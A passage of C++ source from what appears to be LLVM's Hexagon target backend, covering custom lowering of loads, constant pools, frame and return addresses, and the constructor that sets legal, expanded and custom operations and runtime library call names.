// SHL 16, then OR base and base+2.
SDValue ShiftAmount = DAG.getConstant(16, MVT::i32);
SDValue Tmp1 = DAG.getNode(ISD::SHL, DL, MVT::i32, Loads[1], ShiftAmount);
SDValue Tmp2 = DAG.getNode(ISD::OR, DL, MVT::i32, Tmp1, Loads[0]);
// Base + 4.
Increment = DAG.getConstant(4, MVT::i32);
Ptr = DAG.getNode(ISD::ADD, DL, Base.getValueType(), Base, Increment);
Loads[2] = DAG.getExtLoad(Ext, DL, MVT::i32, Chain, Ptr,
LoadNode->getPointerInfo(), MVT::i16,
LoadNode->isVolatile(),
LoadNode->isNonTemporal(),
LoadNode->isInvariant(),
Alignment);
// Base + 6.
Increment = DAG.getConstant(6, MVT::i32);
Ptr = DAG.getNode(ISD::ADD, DL, Base.getValueType(), Base, Increment);
Loads[3] = DAG.getExtLoad(Ext, DL, MVT::i32, Chain, Ptr,
LoadNode->getPointerInfo(), MVT::i16,
LoadNode->isVolatile(),
LoadNode->isNonTemporal(),
LoadNode->isInvariant(),
Alignment);
// SHL 16, then OR base+4 and base+6.
Tmp1 = DAG.getNode(ISD::SHL, DL, MVT::i32, Loads[3], ShiftAmount);
SDValue Tmp4 = DAG.getNode(ISD::OR, DL, MVT::i32, Tmp1, Loads[2]);
// Combine to i64. This could be optimised out later if we can
// affect reg allocation of this code.
Result = DAG.getNode(HexagonISD::COMBINE, DL, MVT::i64, Tmp4, Tmp2);
LoadChain = DAG.getNode(ISD::TokenFactor, DL, MVT::Other,
Loads[0].getValue(1), Loads[1].getValue(1),
Loads[2].getValue(1), Loads[3].getValue(1));
} else {
// Perform default type expansion.
Result = DAG.getLoad(MVT::i64, DL, Chain, Ptr, LoadNode->getPointerInfo(),
LoadNode->isVolatile(), LoadNode->isNonTemporal(),
LoadNode->isInvariant(), LoadNode->getAlignment());
LoadChain = Result.getValue(1);
}
} else
llvm_unreachable("Custom lowering unsupported load");
Result = DAG.getNode(ISD::BITCAST, DL, VT, Result);
// Since we pretend to lower a load, we need the original chain
// info attached to the result.
SDValue Ops[] = { Result, LoadChain };
return DAG.getMergeValues(Ops, DL);
}
SDValue
HexagonTargetLowering::LowerConstantPool(SDValue Op, SelectionDAG &DAG) const {
EVT ValTy = Op.getValueType();
SDLoc dl(Op);
ConstantPoolSDNode *CP = cast<ConstantPoolSDNode>(Op);
SDValue Res;
if (CP->isMachineConstantPoolEntry())
Res = DAG.getTargetConstantPool(CP->getMachineCPVal(), ValTy,
CP->getAlignment());
else
Res = DAG.getTargetConstantPool(CP->getConstVal(), ValTy,
CP->getAlignment());
return DAG.getNode(HexagonISD::CONST32, dl, ValTy, Res);
}
SDValue
HexagonTargetLowering::LowerRETURNADDR(SDValue Op, SelectionDAG &DAG) const {
const TargetRegisterInfo *TRI = Subtarget->getRegisterInfo();
MachineFunction &MF = DAG.getMachineFunction();
MachineFrameInfo *MFI = MF.getFrameInfo();
MFI->setReturnAddressIsTaken(true);
if (verifyReturnAddressArgumentIsConstant(Op, DAG))
return SDValue();
EVT VT = Op.getValueType();
SDLoc dl(Op);
unsigned Depth = cast<ConstantSDNode>(Op.getOperand(0))->getZExtValue();
if (Depth) {
SDValue FrameAddr = LowerFRAMEADDR(Op, DAG);
SDValue Offset = DAG.getConstant(4, MVT::i32);
return DAG.getLoad(VT, dl, DAG.getEntryNode(),
DAG.getNode(ISD::ADD, dl, VT, FrameAddr, Offset),
MachinePointerInfo(), false, false, false, 0);
}
// Return LR, which contains the return address. Mark it an implicit live-in.
unsigned Reg = MF.addLiveIn(TRI->getRARegister(), getRegClassFor(MVT::i32));
return DAG.getCopyFromReg(DAG.getEntryNode(), dl, Reg, VT);
}
SDValue
HexagonTargetLowering::LowerFRAMEADDR(SDValue Op, SelectionDAG &DAG) const {
const HexagonRegisterInfo *TRI = Subtarget->getRegisterInfo();
MachineFrameInfo *MFI = DAG.getMachineFunction().getFrameInfo();
MFI->setFrameAddressIsTaken(true);
EVT VT = Op.getValueType();
SDLoc dl(Op);
unsigned Depth = cast<ConstantSDNode>(Op.getOperand(0))->getZExtValue();
SDValue FrameAddr = DAG.getCopyFromReg(DAG.getEntryNode(), dl,
TRI->getFrameRegister(), VT);
while (Depth--)
FrameAddr = DAG.getLoad(VT, dl, DAG.getEntryNode(), FrameAddr,
MachinePointerInfo(),
false, false, false, 0);
return FrameAddr;
}
SDValue HexagonTargetLowering::LowerATOMIC_FENCE(SDValue Op,
SelectionDAG& DAG) const {
SDLoc dl(Op);
return DAG.getNode(HexagonISD::BARRIER, dl, MVT::Other, Op.getOperand(0));
}
SDValue HexagonTargetLowering::LowerGLOBALADDRESS(SDValue Op,
SelectionDAG &DAG) const {
SDValue Result;
const GlobalValue *GV = cast<GlobalAddressSDNode>(Op)->getGlobal();
int64_t Offset = cast<GlobalAddressSDNode>(Op)->getOffset();
SDLoc dl(Op);
Result = DAG.getTargetGlobalAddress(GV, dl, getPointerTy(), Offset);
const HexagonTargetObjectFile *TLOF =
static_cast<const HexagonTargetObjectFile *>(
getTargetMachine().getObjFileLowering());
if (TLOF->IsGlobalInSmallSection(GV, getTargetMachine())) {
return DAG.getNode(HexagonISD::CONST32_GP, dl, getPointerTy(), Result);
}
return DAG.getNode(HexagonISD::CONST32, dl, getPointerTy(), Result);
}
// Specifies that for loads and stores VT can be promoted to PromotedLdStVT.
void HexagonTargetLowering::promoteLdStType(EVT VT, EVT PromotedLdStVT) {
if (VT != PromotedLdStVT) {
setOperationAction(ISD::LOAD, VT.getSimpleVT(), Promote);
AddPromotedToType(ISD::LOAD, VT.getSimpleVT(),
PromotedLdStVT.getSimpleVT());
setOperationAction(ISD::STORE, VT.getSimpleVT(), Promote);
AddPromotedToType(ISD::STORE, VT.getSimpleVT(),
PromotedLdStVT.getSimpleVT());
}
}
SDValue
HexagonTargetLowering::LowerBlockAddress(SDValue Op, SelectionDAG &DAG) const {
const BlockAddress *BA = cast<BlockAddressSDNode>(Op)->getBlockAddress();
SDValue BA_SD = DAG.getTargetBlockAddress(BA, MVT::i32);
SDLoc dl(Op);
return DAG.getNode(HexagonISD::CONST32_GP, dl, getPointerTy(), BA_SD);
}
//===----------------------------------------------------------------------===//
// TargetLowering Implementation
//===----------------------------------------------------------------------===//
HexagonTargetLowering::HexagonTargetLowering(const TargetMachine &TM,
const HexagonSubtarget &STI)
: TargetLowering(TM), Subtarget(&STI) {
// Set up the register classes.
addRegisterClass(MVT::v2i1, &Hexagon::PredRegsRegClass); // bbbbaaaa
addRegisterClass(MVT::v4i1, &Hexagon::PredRegsRegClass); // ddccbbaa
addRegisterClass(MVT::v8i1, &Hexagon::PredRegsRegClass); // hgfedcba
addRegisterClass(MVT::i32, &Hexagon::IntRegsRegClass);
addRegisterClass(MVT::v4i8, &Hexagon::IntRegsRegClass);
addRegisterClass(MVT::v2i16, &Hexagon::IntRegsRegClass);
promoteLdStType(MVT::v4i8, MVT::i32);
promoteLdStType(MVT::v2i16, MVT::i32);
if (Subtarget->hasV5TOps()) {
addRegisterClass(MVT::f32, &Hexagon::IntRegsRegClass);
addRegisterClass(MVT::f64, &Hexagon::DoubleRegsRegClass);
}
addRegisterClass(MVT::i64, &Hexagon::DoubleRegsRegClass);
addRegisterClass(MVT::v8i8, &Hexagon::DoubleRegsRegClass);
addRegisterClass(MVT::v4i16, &Hexagon::DoubleRegsRegClass);
addRegisterClass(MVT::v2i32, &Hexagon::DoubleRegsRegClass);
promoteLdStType(MVT::v8i8, MVT::i64);
// Custom lower v4i16 load only. Let v4i16 store to be
// promoted for now.
setOperationAction(ISD::LOAD, MVT::v4i16, Custom);
AddPromotedToType(ISD::LOAD, MVT::v4i16, MVT::i64);
setOperationAction(ISD::STORE, MVT::v4i16, Promote);
AddPromotedToType(ISD::STORE, MVT::v4i16, MVT::i64);
promoteLdStType(MVT::v2i32, MVT::i64);
for (unsigned i = (unsigned) MVT::FIRST_VECTOR_VALUETYPE;
i <= (unsigned) MVT::LAST_VECTOR_VALUETYPE; ++i) {
MVT::SimpleValueType VT = (MVT::SimpleValueType) i;
// Hexagon does not have support for the following operations,
// so they need to be expanded.
setOperationAction(ISD::SELECT, VT, Expand);
setOperationAction(ISD::SDIV, VT, Expand);
setOperationAction(ISD::SREM, VT, Expand);
setOperationAction(ISD::UDIV, VT, Expand);
setOperationAction(ISD::UREM, VT, Expand);
setOperationAction(ISD::ROTL, VT, Expand);
setOperationAction(ISD::ROTR, VT, Expand);
setOperationAction(ISD::FDIV, VT, Expand);
setOperationAction(ISD::FNEG, VT, Expand);
setOperationAction(ISD::UMUL_LOHI, VT, Expand);
setOperationAction(ISD::SMUL_LOHI, VT, Expand);
setOperationAction(ISD::UDIVREM, VT, Expand);
setOperationAction(ISD::SDIVREM, VT, Expand);
setOperationAction(ISD::FPOW, VT, Expand);
setOperationAction(ISD::CTPOP, VT, Expand);
setOperationAction(ISD::CTLZ, VT, Expand);
setOperationAction(ISD::CTLZ_ZERO_UNDEF, VT, Expand);
setOperationAction(ISD::CTTZ, VT, Expand);
setOperationAction(ISD::CTTZ_ZERO_UNDEF, VT, Expand);
// Expand all any extend loads.
for (unsigned j = (unsigned) MVT::FIRST_VECTOR_VALUETYPE;
j <= (unsigned) MVT::LAST_VECTOR_VALUETYPE; ++j)
setLoadExtAction(ISD::EXTLOAD, (MVT::SimpleValueType) j, VT, Expand);
// Expand all trunc stores.
for (unsigned TargetVT = (unsigned) MVT::FIRST_VECTOR_VALUETYPE;
TargetVT <= (unsigned) MVT::LAST_VECTOR_VALUETYPE; ++TargetVT)
setTruncStoreAction(VT, (MVT::SimpleValueType) TargetVT, Expand);
setOperationAction(ISD::VECTOR_SHUFFLE, VT, Expand);
setOperationAction(ISD::ConstantPool, VT, Expand);
setOperationAction(ISD::SCALAR_TO_VECTOR, VT, Expand);
setOperationAction(ISD::EXTRACT_VECTOR_ELT, VT, Expand);
setOperationAction(ISD::INSERT_VECTOR_ELT, VT, Expand);
setOperationAction(ISD::BUILD_VECTOR, VT, Expand);
setOperationAction(ISD::EXTRACT_SUBVECTOR, VT, Expand);
setOperationAction(ISD::INSERT_SUBVECTOR, VT, Expand);
setOperationAction(ISD::CONCAT_VECTORS, VT, Expand);
setOperationAction(ISD::SRA, VT, Custom);
setOperationAction(ISD::SHL, VT, Custom);
setOperationAction(ISD::SRL, VT, Custom);
if (!isTypeLegal(VT))
continue;
setOperationAction(ISD::ADD, VT, Legal);
setOperationAction(ISD::SUB, VT, Legal);
setOperationAction(ISD::MUL, VT, Legal);
setOperationAction(ISD::BUILD_VECTOR, VT, Custom);
setOperationAction(ISD::EXTRACT_VECTOR_ELT, VT, Custom);
setOperationAction(ISD::INSERT_VECTOR_ELT, VT, Custom);
setOperationAction(ISD::EXTRACT_SUBVECTOR, VT, Custom);
setOperationAction(ISD::INSERT_SUBVECTOR, VT, Custom);
setOperationAction(ISD::CONCAT_VECTORS, VT, Custom);
}
setOperationAction(ISD::SETCC, MVT::v2i16, Custom);
setOperationAction(ISD::VSELECT, MVT::v2i16, Custom);
setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v8i8, Custom);
setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v4i16, Custom);
setOperationAction(ISD::ConstantPool, MVT::i32, Custom);
addRegisterClass(MVT::i1, &Hexagon::PredRegsRegClass);
computeRegisterProperties(Subtarget->getRegisterInfo());
// Align loop entry
setPrefLoopAlignment(4);
// Limits for inline expansion of memcpy/memmove
MaxStoresPerMemcpy = 6;
MaxStoresPerMemmove = 6;
//
// Library calls for unsupported operations
//
setLibcallName(RTLIB::SINTTOFP_I128_F64, "__hexagon_floattidf");
setLibcallName(RTLIB::SINTTOFP_I128_F32, "__hexagon_floattisf");
setLibcallName(RTLIB::FPTOUINT_F32_I128, "__hexagon_fixunssfti");
setLibcallName(RTLIB::FPTOUINT_F64_I128, "__hexagon_fixunsdfti");
setLibcallName(RTLIB::FPTOSINT_F32_I128, "__hexagon_fixsfti");
setLibcallName(RTLIB::FPTOSINT_F64_I128, "__hexagon_fixdfti");
setLibcallName(RTLIB::SDIV_I32, "__hexagon_divsi3");
setOperationAction(ISD::SDIV, MVT::i32, Expand);
setLibcallName(RTLIB::SREM_I32, "__hexagon_umodsi3");
setOperationAction(ISD::SREM, MVT::i32, Expand);
setLibcallName(RTLIB::SDIV_I64, "__hexagon_divdi3");
setOperationAction(ISD::SDIV, MVT::i64, Expand);
setLibcallName(RTLIB::SREM_I64, "__hexagon_moddi3");
setOperationAction(ISD::SREM, MVT::i64, Expand);
setLibcallName(RTLIB::UDIV_I32, "__hexagon_udivsi3");
setOperationAction(ISD::UDIV, MVT::i32, Expand);
setLibcallName(RTLIB::UDIV_I64, "__hexagon_udivdi3");
setOperationAction(ISD::UDIV, MVT::i64, Expand);
setLibcallName(RTLIB::UREM_I32, "__hexagon_umodsi3");
setOperationAction(ISD::UREM, MVT::i32, Expand);
setLibcallName(RTLIB::UREM_I64, "__hexagon_umoddi3");
setOperationAction(ISD::UREM, MVT::i64, Expand);
setLibcallName(RTLIB::DIV_F32, "__hexagon_divsf3");
setOperationAction(ISD::FDIV, MVT::f32, Expand);
setLibcallName(RTLIB::DIV_F64, "__hexagon_divdf3");
setOperationAction(ISD::FDIV, MVT::f64, Expand);
setLibcallName(RTLIB::ADD_F64, "__hexagon_adddf3");
setLibcallName(RTLIB::SUB_F64, "__hexagon_subdf3");
setLibcallName(RTLIB::MUL_F64, "__hexagon_muldf3");
setOperationAction(ISD::FSQRT, MVT::f32, Expand);
setOperationAction(ISD::FSQRT, MVT::f64, Expand);
setOperationAction(ISD::FSIN, MVT::f32, Expand);
setOperationAction(ISD::FSIN, MVT::f64, Expand);
if (Subtarget->hasV5TOps()) {
// Hexagon V5 Support.
setOperationAction(ISD::FADD, MVT::f32, Legal);
setOperationAction(ISD::FADD, MVT::f64, Expand);
setOperationAction(ISD::FSUB, MVT::f32, Legal);
setOperationAction(ISD::FSUB, MVT::f64, Expand);
setOperationAction(ISD::FMUL, MVT::f64, Expand);
setOperationAction(ISD::FP_EXTEND, MVT::f32, Legal);
setCondCodeAction(ISD::SETOEQ, MVT::f32, Legal);
setCondCodeAction(ISD::SETOEQ, MVT::f64, Legal);
setCondCodeAction(ISD::SETUEQ, MVT::f32, Legal);
setCondCodeAction(ISD::SETUEQ, MVT::f64, Legal);
setCondCodeAction(ISD::SETOGE, MVT::f32, Legal);
setCondCodeAction(ISD::SETOGE, MVT::f64, Legal);
setCondCodeAction(ISD::SETUGE, MVT::f32, Legal);
setCondCodeAction(ISD::SETUGE, MVT::f64, Legal);
setCondCodeAction(ISD::SETOGT, MVT::f32, Legal);
setCondCodeAction(ISD::SETOGT, MVT::f64, Legal);
setCondCodeAction(ISD::SETUGT, MVT::f32, Legal);
setCondCodeAction(ISD::SETUGT, MVT::f64, Legal);
setCondCodeAction(ISD::SETOLE, MVT::f32, Legal);
setCondCodeAction(ISD::SETOLE, MVT::f64, Legal);
setCondCodeAction(ISD::SETOLT, MVT::f32, Legal);
setCondCodeAction(ISD::SETOLT, MVT::f64, Legal);
setOperationAction(ISD::ConstantFP, MVT::f32, Legal);
setOperationAction(ISD::ConstantFP, MVT::f64, Legal);
setOperationAction(ISD::FP_TO_UINT, MVT::i1, Promote);
setOperationAction(ISD::FP_TO_SINT, MVT::i1, Promote);
setOperationAction(ISD::UINT_TO_FP, MVT::i1, Promote);
setOperationAction(ISD::SINT_TO_FP, MVT::i1, Promote);
setOperationAction(ISD::FP_TO_UINT, MVT::i8, Promote);
setOperationAction(ISD::FP_TO_SINT, MVT::i8, Promote);
setOperationAction(ISD::UINT_TO_FP, MVT::i8, Promote);
setOperationAction(ISD::SINT_TO_FP, MVT::i8, Promote);
setOperationAction(ISD::FP_TO_UINT, MVT::i16, Promote);
setOperationAction(ISD::FP_TO_SINT, MVT::i16, Promote);
setOperationAction(ISD::UINT_TO_FP, MVT::i16, Promote);
setOperationAction(ISD::SINT_TO_FP, MVT::i16, Promote);
setOperationAction(ISD::FP_TO_UINT, MVT::i32, Legal);
setOperationAction(ISD::FP_TO_SINT, MVT::i32, Legal);
setOperationAction(ISD::UINT_TO_FP, MVT::i32, Legal);
setOperationAction(ISD::SINT_TO_FP, MVT::i32, Legal);
setOperationAction(ISD::FP_TO_UINT, MVT::i64, Legal);
setOperationAction(ISD::FP_TO_SINT, MVT::i64, Legal);
setOperationAction(ISD::UINT_TO_FP, MVT::i64, Legal);
setOperationAction(ISD::SINT_TO_FP, MVT::i64, Legal);
setOperationAction(ISD::FABS, MVT::f32, Legal);
setOperationAction(ISD::FABS, MVT::f64, Expand);
setOperationAction(ISD::FNEG, MVT::f32, Legal);
setOperationAction(ISD::FNEG, MVT::f64, Expand);
} else {
// Expand fp<->uint.
setOperationAction(ISD::FP_TO_SINT, MVT::i32, Expand);
setOperationAction(ISD::FP_TO_UINT, MVT::i32, Expand);
setOperationAction(ISD::SINT_TO_FP, MVT::i32, Expand);
setOperationAction(ISD::UINT_TO_FP, MVT::i32, Expand);
setLibcallName(RTLIB::SINTTOFP_I64_F32, "__hexagon_floatdisf");
setLibcallName(RTLIB::UINTTOFP_I64_F32, "__hexagon_floatundisf");
setLibcallName(RTLIB::UINTTOFP_I32_F32, "__hexagon_floatunsisf");
setLibcallName(RTLIB::SINTTOFP_I32_F32, "__hexagon_floatsisf");
setLibcallName(RTLIB::SINTTOFP_I64_F64, "__hexagon_floatdidf");
setLibcallName(RTLIB::UINTTOFP_I64_F64, "__hexagon_floatundidf");
setLibcallName(RTLIB::UINTTOFP_I32_F64, "__hexagon_floatunsidf");
setLibcallName(RTLIB::SINTTOFP_I32_F64, "__hexagon_floatsidf");
setLibcallName(RTLIB::FPTOUINT_F32_I32, "__hexagon_fixunssfsi");
setLibcallName(RTLIB::FPTOUINT_F32_I64, "__hexagon_fixunssfdi");
setLibcallName(RTLIB::FPTOSINT_F64_I64, "__hexagon_fixdfdi");
setLibcallName(RTLIB::FPTOSINT_F32_I64, "__hexagon_fixsfdi");
setLibcallName(RTLIB::FPTOUINT_F64_I32, "__hexagon_fixunsdfsi");
setLibcallName(RTLIB::FPTOUINT_F64_I64, "__hexagon_fixunsdfdi");
setLibcallName(RTLIB::ADD_F32, "__hexagon_addsf3");
setOperationAction(ISD::FADD, MVT::f32, Expand);
setOperationAction(ISD::FADD, MVT::f64, Expand);
setLibcallName(RTLIB::SUB_F32, "__hexagon_subsf3");
setOperationAction(ISD::FSUB, MVT::f32, Expand);
setOperationAction(ISD::FSUB, MVT::f64, Expand);
setLibcallName(RTLIB::FPEXT_F32_F64, "__hexagon_extendsfdf2");
setOperationAction(ISD::FP_EXTEND, MVT::f32, Expand);
setLibcallName(RTLIB::OEQ_F32, "__hexagon_eqsf2");
setCondCodeAction(ISD::SETOEQ, MVT::f32, Expand);
setLibcallName(RTLIB::OEQ_F64, "__hexagon_eqdf2");
setCondCodeAction(ISD::SETOEQ, MVT::f64, Expand);
setLibcallName(RTLIB::OGE_F32, "__hexagon_gesf2");
setCondCodeAction(ISD::SETOGE, MVT::f32, Expand);
setLibcallName(RTLIB::OGE_F64, "__hexagon_gedf2");
setCondCodeAction(ISD::SETOGE, MVT::f64, Expand);
setLibcallName(RTLIB::OGT_F32, "__hexagon_gtsf2");
setCondCodeAction(ISD::SETOGT, MVT::f32, Expand);
setLibcallName(RTLIB::OGT_F64, "__hexagon_gtdf2");
setCondCodeAction(ISD::SETOGT, MVT::f64, Expand);
setLibcallName(RTLIB::FPTOSINT_F64_I32, "__hexagon_fixdfsi");
setOperationAction(ISD::FP_TO_SINT, MVT::f64, Expand);
setLibcallName(RTLIB::FPTOSINT_F32_I32, "__hexagon_fixsfsi");
setOperationAction(ISD::FP_TO_SINT, MVT::f32, Expand);
setLibcallName(RTLIB::OLE_F64, "__hexagon_ledf2");
setCondCodeAction(ISD::SETOLE, MVT::f64, Expand);
setLibcallName(RTLIB::OLE_F32, "__hexagon_lesf2");
setCondCodeAction(ISD::SETOLE, MVT::f32, Expand);
setLibcallName(RTLIB::OLT_F64, "__hexagon_ltdf2");
setCondCodeAction(ISD::SETOLT, MVT::f64, Expand);
setLibcallName(RTLIB::OLT_F32, "__hexagon_ltsf2");
setCondCodeAction(ISD::SETOLT, MVT::f32, Expand);
setOperationAction(ISD::FMUL, MVT::f64, Expand);
setLibcallName(RTLIB::MUL_F32, "__hexagon_mulsf3");
setOperationAction(ISD::MUL, MVT::f32, Expand);
setLibcallName(RTLIB::UNE_F64, "__hexagon_nedf2");
setCondCodeAction(ISD::SETUNE, MVT::f64, Expand);
setLibcallName(RTLIB::UNE_F32, "__hexagon_nesf2");
setLibcallName(RTLIB::SUB_F64, "__hexagon_subdf3");
setOperationAction(ISD::SUB, MVT::f64, Expand);
setLibcallName(RTLIB::SUB_F32, "__hexagon_subsf3");
setOperationAction(ISD::SUB, MVT::f32, Expand);
setLibcallName(RTLIB::FPROUND_F64_F32, "__hexagon_truncdfsf2");
setOperationAction(ISD::FP_ROUND, MVT::f64, Expand);
setLibcallName(RTLIB::UO_F64, "__hexagon_unorddf2");
setCondCodeAction(ISD::SETUO, MVT::f64, Expand);
setLibcallName(RTLIB::O_F64, "__hexagon_unorddf2");
setCondCodeAction(ISD::SETO, MVT::f64, Expand);
setLibcallName(RTLIB::O_F32, "__hexagon_unordsf2");
setCondCodeAction(ISD::SETO, MVT::f32, Expand);
setLibcallName(RTLIB::UO_F32, "__hexagon_unordsf2");
setCondCodeAction(ISD::SETUO, MVT::f32, Expand);
setOperationAction(ISD::FABS, MVT::f32, Expand);
setOperationAction(ISD::FABS, MVT::f64, Expand);
setOperationAction(ISD::FNEG, MVT::f32, Expand);
setOperationAction(ISD::FNEG, MVT::f64, Expand);
}
setLibcallName(RTLIB::SREM_I32, "__hexagon_modsi3");
setOperationAction(ISD::SREM, MVT::i32, Expand);
setIndexedLoadAction(ISD::POST_INC, MVT::i8, Legal);
setIndexedLoadAction(ISD::POST_INC, MVT::i16, Legal);
setIndexedLoadAction(ISD::POST_INC, MVT::i32, Legal);
setIndexedLoadAction(ISD::POST_INC, MVT::i64, Legal);
setIndexedStoreAction(ISD::POST_INC, MVT::i8, Legal);
setIndexedStoreAction(ISD::POST_INC, MVT::i16, Legal);
setIndexedStoreAction(ISD::POST_INC, MVT::i32, Legal);
setIndexedStoreAction(ISD::POST_INC, MVT::i64, Legal);
setOperationAction(ISD::BUILD_PAIR, MVT::i64, Expand);
// Turn FP extload into load/fextend.
for (MVT VT : MVT::fp_valuetypes())
setLoadExtAction(ISD::EXTLOAD, VT, MVT::f32, Expand);
// No extending loads from i32.
for (MVT VT : MVT::integer_valuetypes()) {
setLoadExtAction(ISD::ZEXTLOAD, VT, MVT::i32, Expand);
setLoadExtAction(ISD::SEXTLOAD, VT, MVT::i32, Expand);
setLoadExtAction(ISD::EXTLOAD, VT, MVT::i32, Expand);
}
// Turn FP truncstore into trunc + store.
setTruncStoreAction(MVT::f64, MVT::f32, Expand);
// Custom legalize GlobalAddress nodes into CONST32.
setOperationAction(ISD::GlobalAddress, MVT::i32, Custom);
setOperationAction(ISD::GlobalAddress, MVT::i8, Custom);
setOperationAction(ISD::BlockAddress, MVT::i32, Custom);
// Truncate action?
setOperationAction(ISD::TRUNCATE, MVT::i64, Expand);
// Hexagon doesn't have sext_inreg, replace them with shl/sra.
setOperationAction(ISD::SIGN_EXTEND_INREG, MVT::i1, Expand);
// Hexagon has no REM or DIVREM operations.
setOperationAction(ISD::UREM, MVT::i32, Expand);
setOperationAction(ISD::SREM, MVT::i32, Expand);
setOperationAction(ISD::SDIVREM, MVT::i32, Expand);
setOperationAction(ISD::UDIVREM, MVT::i32, Expand);
setOperationAction(ISD::SREM, MVT::i64, Expand);
setOperationAction(ISD::SDIVREM, MVT::i64, Expand);
setOperationAction(ISD::UDIVREM, MVT::i64, Expand);
setOperationAction(ISD::BSWAP, MVT::i64, Expand);
// Lower SELECT_CC to SETCC and SELECT.
setOperationAction(ISD::SELECT_CC, MVT::i1, Expand);
setOperationAction(ISD::SELECT_CC, MVT::i32, Expand);
setOperationAction(ISD::SELECT_CC, MVT::i64, Expand);
if (Subtarget->hasV5TOps()) {
// We need to make the operation type of SELECT node to be Custom,
// such that we don't go into the infinite loop of
// select -> setcc -> select_cc -> select loop.
setOperationAction(ISD::SELECT, MVT::f32, Custom);
setOperationAction(ISD::SELECT, MVT::f64, Custom);
setOperationAction(ISD::SELECT_CC, MVT::f32, Expand);
setOperationAction(ISD::SELECT_CC, MVT::f64, Expand);
} else {
// Hexagon has no select or setcc: expand to SELECT_CC.
setOperationAction(ISD::SELECT, MVT::f32, Expand);
setOperationAction(ISD::SELECT, MVT::f64, Expand);
}
// Hexagon needs to optimize cases with negative constants.
setOperationAction(ISD::SETCC, MVT::i16, Custom);
setOperationAction(ISD::SETCC, MVT::i8, Custom);
if (EmitJumpTables) {
setOperationAction(ISD::BR_JT, MVT::Other, Custom);
} else {
setOperationAction(ISD::BR_JT, MVT::Other, Expand);
}
// Increase jump tables cutover to 5, was 4.
setMinimumJumpTableEntries(5);
setOperationAction(ISD::BR_CC, MVT::f32, Expand);
setOperationAction(ISD::BR_CC, MVT::f64, Expand);
setOperationAction(ISD::BR_CC, MVT::i1, Expand);
setOperationAction(ISD::BR_CC, MVT::i32, Expand);
setOperationAction(ISD::BR_CC, MVT::i64, Expand);
setOperationAction(ISD::ATOMIC_FENCE, MVT::Other, Custom);
setOperationAction(ISD::FSIN, MVT::f64, Expand);
setOperationAction(ISD::FCOS, MVT::f64, Expand);
setOperationAction(ISD::FREM, MVT::f64, Expand);
setOperationAction(ISD::FSIN, MVT::f32, Expand);
setOperationAction(ISD::FCOS, MVT::f32, Expand);
setOperationAction(ISD::FREM, MVT::f32, Expand);
setOperationAction(ISD::FSINCOS, MVT::f64, Expand);
setOperationAction(ISD::FSINCOS, MVT::f32, Expand);
// In V4, we have double word add/sub with carry. The problem with
// modelling this instruction is that it produces 2 results - Rdd and Px.
// To model update of Px, we will have to use Defs[p0..p3] which will
// cause any predicate live range to spill. So, we pretend we dont't
// have these instructions.
setOperationAction(ISD::ADDE, MVT::i8, Expand);
setOperationAction(ISD::ADDE, MVT::i16, Expand);
setOperationAction(ISD::ADDE, MVT::i32, Expand);
setOperationAction(ISD::ADDE, MVT::i64, Expand);
setOperationAction(ISD::SUBE, MVT::i8, Expand);
setOperationAction(ISD::SUBE, MVT::i16, Expand);
setOperationAction(ISD::SUBE, MVT::i32, Expand);
setOperationAction(ISD::SUBE, MVT::i64, Expand);
setOperationAction(ISD::ADDC, MVT::i8, Expand);
setOperationAction(ISD::ADDC, MVT::i16, Expand);
setOperationAction(ISD::ADDC, MVT::i32, Expand);
setOperationAction(ISD::ADDC, MVT::i64, Expand);
setOperationAction(ISD::SUBC, MVT::i8, Expand);
setOperationAction(ISD::SUBC, MVT::i16, Expand);
setOperationAction(ISD::SUBC, MVT::i32, Expand);
setOperationAction(ISD::SUBC, MVT::i64, Expand);
// Only add and sub that detect overflow are the saturating ones.
for (MVT VT : MVT::integer_valuetypes()) {
setOperationAction(ISD::UADDO, VT, Expand);
setOperationAction(ISD::SADDO, VT, Expand);
setOperationAction(ISD::USUBO, VT, Expand);
setOperationAction(ISD::SSUBO, VT, Expand);
}
setOperationAction(ISD::CTPOP, MVT::i32, Expand);
setOperationAction(ISD::CTPOP, MVT::i64, Expand);
setOperationAction(ISD::CTTZ, MVT::i32, Expand);
setOperationAction(ISD::CTTZ, MVT::i64, Expand);
setOperationAction(ISD::CTTZ_ZERO_UNDEF, MVT::i32, Expand);
setOperationAction(ISD::CTTZ_ZERO_UNDEF, MVT::i64, Expand);
setOperationAction(ISD::CTLZ, MVT::i32, Expand);
setOperationAction(ISD::CTLZ, MVT::i64, Expand);
setOperationAction(ISD::CTLZ_ZERO_UNDEF, MVT::i32, Expand);
setOperationAction(ISD::CTLZ_ZERO_UNDEF, MVT::i64, Expand);
setOperationAction(ISD::ROTL, MVT::i32, Expand);
setOperationAction(ISD::ROTR, MVT::i32, Expand);
setOperationAction(ISD::BSWAP, MVT::i32, Expand);
setOperationAction(ISD::ROTL, MVT::i64, Expand);
setOperationAction(ISD::ROTR, MVT::i64, Expand);
setOperationAction(ISD::SHL_PARTS, MVT::i64, Expand);
setOperationAction(ISD::SRA_PARTS, MVT::i64, Expand);
setOperationAction(ISD::SRL_PARTS, MVT::i64, Expand);
setOperationAction(ISD::BR_CC, MVT::i64, Expand);
setOperationAction(ISD::FCOPYSIGN, MVT::f64, Expand);
setOperationAction(ISD::FCOPYSIGN, MVT::f32, Expand);
setOperationAction(ISD::FPOW, MVT::f64, Expand);
setOperationAction(ISD::FPOW, MVT::f32, Expand);
setOperationAction(ISD::SHL_PARTS, MVT::i32, Expand);
setOperationAction(ISD::SRA_PARTS, MVT::i32, Expand);
setOperationAction(ISD::SRL_PARTS, MVT::i32, Expand);
setOperationAction(ISD::UMUL_LOHI, MVT::i32, Expand);
setOperationAction(ISD::SMUL_LOHI, MVT::i32, Expand);
setOperationAction(ISD::MULHS, MVT::i64, Expand);
setOperationAction(ISD::SMUL_LOHI, MVT::i64, Expand);
setOperationAction(ISD::UMUL_LOHI, MVT::i64, Expand);
setOperationAction(ISD::EH_RETURN, MVT::Other, Custom);
setExceptionPointerRegister(Hexagon::R0);
setExceptionSelectorRegister(Hexagon::R1);
// VASTART needs to be custom lowered to use the VarArgsFrameIndex.
setOperationAction(ISD::VASTART, MVT::Other, Custom);
// Use the default implementation.
setOperationAction(ISD::VAARG, MVT::Other, Expand);
setOperationAction(ISD::VACOPY, MVT::Other, Expand);
setOperationAction(ISD::VAEND, MVT::Other, Expand);
setOperationAction(ISD::STACKSAVE, MVT::Other, Expand);
